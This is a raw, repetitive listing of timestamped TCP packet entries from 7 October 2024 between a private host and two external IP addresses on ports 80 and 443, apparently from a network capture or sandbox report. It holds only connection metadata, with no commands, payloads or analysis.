Oct 7, 2024 18:43:16.630136013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630146027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630161047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.630161047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.630161047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.630203009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.630564928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630573988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630580902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630611897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.630702019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.632741928 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.632813931 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.632836103 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.632863045 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.632882118 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.632910967 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.633533001 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.633578062 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.633603096 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.633618116 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.633642912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633673906 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.633673906 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.633704901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633780956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633791924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633800983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633810043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633820057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633827925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633838892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633840084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633840084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633847952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633857965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633867025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633882999 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633882999 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633917093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633920908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633920908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633928061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633936882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633945942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633955002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633963108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633971930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633972883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633981943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633990049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.633992910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.633992910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634011984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634033918 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634437084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634447098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634457111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634490013 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634512901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634519100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634522915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634532928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634542942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634553909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634562969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634565115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634565115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634584904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634634018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634638071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634646893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634651899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634656906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634671926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634758949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634763956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634763956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634773970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634783030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634790897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634799957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634809971 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634818077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634828091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634828091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634828091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634836912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634856939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634876966 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634876966 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634911060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634921074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634929895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634938955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.634953022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.634974003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635001898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635011911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635021925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635023117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635030031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635039091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635047913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635056019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635056019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635056973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635072947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635082960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635092974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635101080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635109901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635113001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635116100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635127068 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635127068 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635147095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635220051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635230064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635240078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635260105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635289907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635363102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635371923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635380030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635392904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635402918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635406017 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635425091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635433912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635442972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635459900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635459900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635459900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635476112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635682106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635690928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635751009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635755062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635766029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635776043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635786057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635793924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635796070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635807991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635816097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635818005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635829926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.635840893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635879040 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.635879040 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.636059046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636069059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636079073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636094093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636106014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636113882 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.636113882 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.636125088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636136055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636151075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.636151075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.636198997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.636419058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.636511087 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.710674047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.710717916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.710752964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.710786104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.710794926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.710794926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.710794926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.710819006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.710853100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.710871935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.710871935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.710894108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.710899115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.710967064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.712354898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712610960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712627888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712641954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712655067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712668896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712671995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.712671995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.712681055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712728977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712742090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712755919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712758064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.712758064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.712811947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.712811947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.712934017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712948084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712960005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712973118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.712986946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.713000059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.713015079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.713026047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.713026047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.713027954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.713044882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.713078022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.713078022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.713119984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.713135958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.713166952 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.713166952 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.713213921 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.716761112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716777086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716789007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716880083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716886044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.716886044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.716892004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716903925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716914892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716926098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716937065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716947079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716955900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716964006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.716964006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.716968060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716979980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.716989994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717000008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717010975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717020988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717022896 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717022896 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717071056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717071056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717240095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717252970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717263937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717274904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717287064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717293024 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717312098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717313051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717345953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717355967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717364073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717370987 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717381954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717394114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717403889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717415094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717420101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717420101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717432022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717442036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717452049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717463970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717473984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717479944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717483997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717531919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717531919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717561960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717573881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717583895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.717628956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.717628956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.719926119 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.719991922 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.720057011 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.720079899 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.720096111 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.720128059 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.720980883 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.721024036 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.721075058 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.721081972 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.721149921 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.721163034 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.722373009 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.722415924 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.722455025 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.722460985 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.722491980 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.722516060 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.724056005 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.724102974 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.724145889 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.724153042 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.724189997 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.724209070 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.808836937 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.808914900 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.808988094 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.808996916 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.809060097 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.809073925 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.810513020 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.810566902 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.810591936 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.810599089 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.810643911 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.811379910 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.811455011 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.811477900 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.811484098 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.811515093 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.811538935 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.812179089 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.812222004 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.812247992 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.812254906 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.812285900 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.812311888 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.814008951 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.814058065 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.814088106 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.814094067 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.814122915 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.814143896 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.815061092 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.815100908 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.815154076 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.815160990 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.815213919 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.815217018 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.815243959 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.815270901 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.815469027 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.815475941 CEST	443	49705	13.107.246.45	192.168.2.7
